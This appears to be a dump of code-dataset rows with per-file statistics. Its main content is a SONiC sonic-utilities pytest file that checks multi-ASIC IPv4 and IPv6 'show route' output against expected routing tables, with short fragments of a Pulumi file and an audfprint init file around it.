The time zone of this agent from the [time zone database](https://www.iana.org/time-zones), e.g., America/New_York,
Europe/Paris.
"""
return pulumi.get(self, "time_zone")
| 53.248175
| 192
| 0.666895
| 6,505
| 51,065
| 5.065488
| 0.05565
| 0.059755
| 0.058633
| 0.050742
| 0.951534
| 0.942035
| 0.929896
| 0.922096
| 0.919608
| 0.902097
| 0
| 0.004672
| 0.249741
| 51,065
| 958
| 193
| 53.303758
| 0.855398
| 0.518222
| 0
| 0.795294
| 1
| 0
| 0.106375
| 0.037947
| 0
| 0
| 0
| 0
| 0
| 1
| 0.164706
| false
| 0.002353
| 0.011765
| 0
| 0.275294
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
12a4671f1e6b3546be9c5d3619c48024a0d61c20
| 22,684
|
py
|
Python
|
tests/ip_show_routes_multi_asic_test.py
|
sumanbrcm/sonic-utilities
|
9a17108ac0ca55cde9a3e274a328e7d358902d23
|
[
"Apache-2.0"
] | null | null | null |
tests/ip_show_routes_multi_asic_test.py
|
sumanbrcm/sonic-utilities
|
9a17108ac0ca55cde9a3e274a328e7d358902d23
|
[
"Apache-2.0"
] | null | null | null |
tests/ip_show_routes_multi_asic_test.py
|
sumanbrcm/sonic-utilities
|
9a17108ac0ca55cde9a3e274a328e7d358902d23
|
[
"Apache-2.0"
] | null | null | null |
import os
import pytest
from click.testing import CliRunner
test_path = os.path.dirname(os.path.abspath(__file__))
modules_path = os.path.dirname(test_path)
scripts_path = os.path.join(modules_path, "scripts")
show_ip_route_multi_asic_display_all_expected_output = """\
Codes: K - kernel route, C - connected, S - static, R - RIP,
O - OSPF, I - IS-IS, B - BGP, E - EIGRP, N - NHRP,
T - Table, v - VNC, V - VNC-Direct, A - Babel, D - SHARP,
F - PBR, f - OpenFabric,
> - selected route, * - FIB route, q - queued route, r - rejected route
asic0:
K *0.0.0.0/0 [210/0] via 240.127.1.1, eth0, 2d22h00m
B>*0.0.0.0/0 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
S 0.0.0.0/0 [200/0] via 10.3.146.1, inactive 2d22h00m
C>*8.0.0.0/32 is directly connected, Loopback4096, 2d22h00m
C>*10.0.0.0/31 is directly connected, PortChannel4001, 2d22h00m
C>*10.0.0.4/31 is directly connected, PortChannel0005, 2d22h00m
C>*10.1.0.32/32 is directly connected, Loopback0, 2d22h00m
B>*100.1.0.3/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
B>*192.168.0.0/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.1/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.32/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.96/32 [20/0] via 10.0.0.5, Ethernet-BP4, 2d22h00m
* via 10.0.0.1, Ethernet-BP0, 2d22h00m
B>*192.168.0.97/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.192/32 [20/0] via 10.0.0.5, Ethernet-BP4, 2d22h00m
* via 10.0.0.1, PortChannel4001, 2d22h00m
B>*192.168.0.193/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.208/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.209/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.224/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.225/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.240/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
B>*192.168.0.241/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
asic1:
K *0.0.0.0/0 [210/0] via 240.127.1.1, eth0, 2d22h01m
B>*0.0.0.0/0 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
S 0.0.0.0/0 [200/0] via 10.3.146.1, inactive 2d22h01m
C>*8.0.0.1/32 is directly connected, Loopback4096, 2d22h01m
C>*10.0.0.0/31 is directly connected, PortChannel4009, 2d22h01m
C>*10.0.0.4/31 is directly connected, PortChannel0008, 2d22h01m
C>*10.1.0.32/32 is directly connected, Loopback0, 2d22h01m
B>*100.1.0.3/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
B>*192.168.0.0/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.1/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.32/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.96/32 [20/0] via 10.0.0.8, Ethernet-BP260, 2d22h01m
* via 10.0.0.7, Ethernet-BP256, 2d22h01m
B>*192.168.0.97/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.192/32 [20/0] via 10.0.0.8, Ethernet-BP260, 2d22h01m
* via 10.0.0.7, PortChannel4009, 2d22h01m
B>*192.168.0.193/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.208/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.209/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.224/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.225/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
B>*192.168.0.240/32 [20/0] via 10.0.0.8, Ethernet-BP260, 2d22h01m
* via 10.0.0.7, PortChannel4009, 2d22h01m
B>*192.168.0.241/32 [20/0] via 10.0.0.8, PortChannel0008, 2d22h01m
* via 10.0.0.7, PortChannel0007, 2d22h01m
asic2:
K *0.0.0.0/0 [210/0] via 240.127.1.1, eth0, 2d22h02m
B>*0.0.0.0/0 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
S 0.0.0.0/0 [200/0] via 10.3.146.1, inactive 2d22h02m
C>*8.0.0.2/32 is directly connected, Loopback4096, 2d22h02m
C>*10.0.0.0/31 is directly connected, PortChannel4001, 2d22h02m
C>*10.0.0.4/31 is directly connected, PortChannel1016, 2d22h02m
C>*10.1.0.32/32 is directly connected, Loopback0, 2d22h02m
B>*100.1.0.3/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
B>*192.168.0.0/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.1/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.32/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.96/32 [20/0] via 10.0.0.16, Ethernet-BP24, 2d22h02m
* via 10.0.0.15, Ethernet-BP20, 2d22h02m
B>*192.168.0.97/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.192/32 [20/0] via 10.0.0.16, Ethernet-BP24, 2d22h02m
* via 10.0.0.15, PortChannel4001, 2d22h02m
B>*192.168.0.193/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.208/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.209/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.224/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.225/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.240/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
B>*192.168.0.241/32 [20/0] via 10.0.0.16, PortChannel1016, 2d22h02m
* via 10.0.0.15, PortChannel1015, 2d22h02m
"""
show_ip_route_multi_asic_display_all_front_expected_output = """\
Codes: K - kernel route, C - connected, S - static, R - RIP,
O - OSPF, I - IS-IS, B - BGP, E - EIGRP, N - NHRP,
T - Table, v - VNC, V - VNC-Direct, A - Babel, D - SHARP,
F - PBR, f - OpenFabric,
> - selected route, * - FIB route, q - queued route, r - rejected route
K *0.0.0.0/0 [210/0] via 240.127.1.1, eth0, 2d22h00m
B>*0.0.0.0/0 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
S 0.0.0.0/0 [200/0] via 10.3.146.1, inactive 2d22h00m
C>*8.0.0.0/32 is directly connected, Loopback4096, 2d22h00m
C>*8.0.0.2/32 is directly connected, Loopback4096, 2d22h02m
C>*10.0.0.4/31 is directly connected, PortChannel0005, 2d22h00m
C>*10.0.0.4/31 is directly connected, PortChannel1016, 2d22h02m
C>*10.1.0.32/32 is directly connected, Loopback0, 2d22h00m
B>*100.1.0.3/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.0/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.1/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.32/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.97/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.193/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.208/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.209/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.224/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.225/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.240/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
B>*192.168.0.241/32 [20/0] via 10.0.0.5, PortChannel0005, 2d22h00m
* via 10.0.0.1, PortChannel0002, 2d22h00m
* via 10.0.0.15, PortChannel1015, 2d22h00m
* via 10.0.0.16, PortChannel1016, 2d22h00m
"""
show_ipv6_route_multi_asic_all_namesapce_output = """\
Codes: K - kernel route, C - connected, S - static, R - RIP,
O - OSPF, I - IS-IS, B - BGP, E - EIGRP, N - NHRP,
T - Table, v - VNC, V - VNC-Direct, A - Babel, D - SHARP,
F - PBR, f - OpenFabric,
> - selected route, * - FIB route, q - queued route, r - rejected route
K *::/0 [210/0] via fd00::1, eth0, 2d22h00m
B>*::/0 [20/0] via fc00::6, PortChannel0005, 2d22h00m
* via fc00::2, PortChannel0002, 2d22h00m
* via fc00::2, PortChannel1015, 2d22h00m
* via fc00::6, PortChannel1016, 2d22h00m
B>*2064:100::1/128 [20/0] via fc00::2, PortChannel0002, 2d22h00m
* via fc00::2, PortChannel1015, 2d22h00m
B>*2064:100::3/128 [20/0] via fc00::6, PortChannel0005, 2d22h00m
* via fc00::6, PortChannel1016, 2d22h00m
B>*20c0:a800:0:1::/64 [20/0] via fc00::6, PortChannel0005, 2d22h00m
* via fc00::2, PortChannel0002, 2d22h00m
* via fc00::2, PortChannel1015, 2d22h00m
* via fc00::6, PortChannel1016, 2d22h00m
B>*20c0:a800:0:10::/64 [20/0] via fc00::6, PortChannel0005, 2d22h00m
* via fc00::2, PortChannel0002, 2d22h00m
* via fc00::2, PortChannel1015, 2d22h00m
* via fc00::6, PortChannel1016, 2d22h00m
B>*20c0:a800:0:11::/64 [20/0] via fc00::6, PortChannel0002, 2d22h00m
* via fc00::6, PortChannel1015, 2d22h00m
B>*20c0:a800:0:20::/64 [20/0] via fc00::2, PortChannel0002, 2d22h00m
* via fc00::2, PortChannel1015, 2d22h00m
B>*20c0:a800:0:21::/64 [20/0] via fc00::2, PortChannel0002, 2d22h00m
* via fc00::2, PortChannel1015, 2d22h00m
C>*2603:10e2:400::/128 is directly connected, Loopback4096, 2d22h00m
C>*2603:10e2:400::2/128 is directly connected, Loopback4096, 2d22h02m
C>*fc00::4/126 is directly connected, PortChannel0005, 2d22h00m
C>*fc00::4/126 is directly connected, PortChannel1016, 2d22h02m
C>*fc00:1::32/128 is directly connected, Loopback0, 2d22h00m
C>*fd00::/80 is directly connected, eth0, 2d22h00m
C>*fe80::/64 is directly connected, eth0, 2d22h00m
C *fe80::/64 is directly connected, Loopback0, 2d22h00m
C *fe80::/64 is directly connected, Loopback4096, 2d22h00m
C *fe80::/64 is directly connected, Ethernet16, 2d22h00m
C *fe80::/64 is directly connected, Ethernet20, 2d22h00m
C *fe80::/64 is directly connected, PortChannel0005, 2d22h00m
C *fe80::/64 is directly connected, PortChannel1016, 2d22h02m
C *fe80::/64 is directly connected, Ethernet24, 2d22h02m
"""
show_ipv6_route_multi_asic_single_namesapce_output = """\
Codes: K - kernel route, C - connected, S - static, R - RIP,
O - OSPF, I - IS-IS, B - BGP, E - EIGRP, N - NHRP,
T - Table, v - VNC, V - VNC-Direct, A - Babel, D - SHARP,
F - PBR, f - OpenFabric,
> - selected route, * - FIB route, q - queued route, r - rejected route
K *::/0 [210/0] via fd00::1, eth0, 2d22h02m
B>*::/0 [20/0] via fc00::6, PortChannel1016, 2d22h02m
* via fc00::2, PortChannel1015, 2d22h02m
B>*2064:100::1/128 [20/0] via fc00::2, PortChannel1015, 2d22h02m
B>*2064:100::3/128 [20/0] via fc00::6, PortChannel1016, 2d22h02m
B>*20c0:a800:0:1::/64 [20/0] via fc00::6, PortChannel1016, 2d22h02m
* via fc00::2, PortChannel1015, 2d22h02m
B>*20c0:a800:0:10::/64 [20/0] via fc00::6, PortChannel1016, 2d22h02m
* via fc00::2, PortChannel1015, 2d22h02m
B>*20c0:a800:0:11::/64 [20/0] via fc00::6, PortChannel1015, 2d22h02m
B>*20c0:a800:0:20::/64 [20/0] via fc00::2, PortChannel1015, 2d22h02m
B>*20c0:a800:0:21::/64 [20/0] via fc00::2, PortChannel1015, 2d22h02m
C>*2603:10e2:400::2/128 is directly connected, Loopback4096, 2d22h02m
C>*fc00::4/126 is directly connected, PortChannel1016, 2d22h02m
C>*fc00:1::32/128 is directly connected, Loopback0, 2d22h02m
C>*fd00::/80 is directly connected, eth0, 2d22h02m
C>*fe80::/64 is directly connected, eth0, 2d22h02m
C *fe80::/64 is directly connected, Loopback0, 2d22h02m
C *fe80::/64 is directly connected, Loopback4096, 2d22h02m
C *fe80::/64 is directly connected, Ethernet24, 2d22h02m
C *fe80::/64 is directly connected, Ethernet20, 2d22h02m
C *fe80::/64 is directly connected, PortChannel1016, 2d22h02m
"""
show_ip_route_multi_asic_invalid_namesapce_err_output = """\
namespace 'asic7' is not valid. valid name spaces are:
['asic0', 'asic1', 'asic2']
"""
show_ip_route_multi_asic_invalid_display_err_output = """\
dislay option 'everything' is not a valid option.
"""
show_ip_route_multi_asic_specific_route_output = """\
Routing entry for 10.0.0.4/31
Known via "connected", distance 0, metric 0, best
Last update 2d22h00m ago
* directly connected, PortChannel0005
Routing entry for 10.0.0.4/31
Known via "connected", distance 0, metric 0, best
Last update 2d22h02m ago
* directly connected, PortChannel1016
"""
show_ipv6_route_multi_asic_specific_route_output = """\
Routing entry for 2603:10e2:400::/128
Known via "connected", distance 0, metric 0, best
Last update 2d22h00m ago
* directly connected, Loopback4096
"""
class TestMultiAiscShowIpRouteDisplayAllCommands(object):
@classmethod
def setup_class(cls):
print("SETUP")
os.environ["PATH"] += os.pathsep + scripts_path
os.environ["UTILITIES_UNIT_TESTING"] = "2"
os.environ["UTILITIES_UNIT_TESTING_TOPOLOGY"] = "multi_asic"
from .mock_tables import mock_multi_asic_3_asics
from .mock_tables import dbconnector
dbconnector.load_namespace_config()
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ip_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ip_route_front_end(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ip"].commands["route"], ["-dfrontend"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ip_route_multi_asic_display_all_front_expected_output
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ip_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ip_route_all(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ip"].commands["route"], ["-dall"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ip_route_multi_asic_display_all_expected_output
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ip_specific_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ip_route_specific(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ip"].commands["route"], ["10.0.0.4"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ip_route_multi_asic_specific_route_output
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ipv6_specific_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ipv6_route_specific(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ipv6"].commands["route"], ["2603:10e2:400::"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ipv6_route_multi_asic_specific_route_output
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ip_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ip_route_namespace_option_err(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ip"].commands["route"], ["-nasic7"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ip_route_multi_asic_invalid_namesapce_err_output
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ip_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ip_route_display_option_err(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ip"].commands["route"], ["-deverything"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ip_route_multi_asic_invalid_display_err_output
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ipv6_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ipv6_route_all_namespace(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ipv6"].commands["route"], ["-dfrontend"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ipv6_route_multi_asic_all_namesapce_output
@pytest.mark.parametrize('setup_multi_asic_bgp_instance',
['ipv6_route'], indirect=['setup_multi_asic_bgp_instance'])
def test_show_multi_asic_ipv6_route_single_namespace(
self,
setup_ip_route_commands,
setup_multi_asic_bgp_instance):
show = setup_ip_route_commands
runner = CliRunner()
result = runner.invoke(
show.cli.commands["ipv6"].commands["route"], ["-nasic2"])
print("{}".format(result.output))
assert result.exit_code == 0
assert result.output == show_ipv6_route_multi_asic_single_namesapce_output
@classmethod
def teardown_class(cls):
print("TEARDOWN")
os.environ["PATH"] = os.pathsep.join(os.environ["PATH"].split(os.pathsep)[:-1])
os.environ["UTILITIES_UNIT_TESTING"] = "0"
os.environ["UTILITIES_UNIT_TESTING_TOPOLOGY"] = ""
import imp
from sonic_py_common import multi_asic
imp.reload(multi_asic)
import mock_tables.dbconnector
| 52.027523
| 97
| 0.62414
| 3,308
| 22,684
| 4.166566
| 0.06318
| 0.030472
| 0.042951
| 0.069578
| 0.928245
| 0.912138
| 0.896684
| 0.87383
| 0.856708
| 0.826888
| 0
| 0.248115
| 0.245768
| 22,684
| 435
| 98
| 52.147126
| 0.557484
| 0
| 0
| 0.624691
| 0
| 0.217284
| 0.743828
| 0.037736
| 0
| 0
| 0
| 0
| 0.039506
| 1
| 0.024691
| false
| 0
| 0.019753
| 0
| 0.046914
| 0.024691
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
12a59c9b1d0175b81516368bb206b201258aa83d
| 40
|
py
|
Python
|
audfprint/__init__.py
|
PurpleMyst/audfprint
|
98a529e0dffb1529fdc32695d13173d1e6cfab73
|
[
"MIT"
] | null | null | null |
audfprint/__init__.py
|
PurpleMyst/audfprint
|
98a529e0dffb1529fdc32695d13173d1e6cfab73
|
[
"MIT"
] | null | null | null |
audfprint/__init__.py
|
PurpleMyst/audfprint
|
98a529e0dffb1529fdc32695d13173d1e6cfab73
|
[
"MIT"
] | null | null | null |
# coding=utf-8
from .audfprint import *
| 13.333333
| 24
| 0.725
| 6
| 40
| 4.833333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029412
| 0.15
| 40
| 2
| 25
| 20
| 0.823529
| 0.3
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.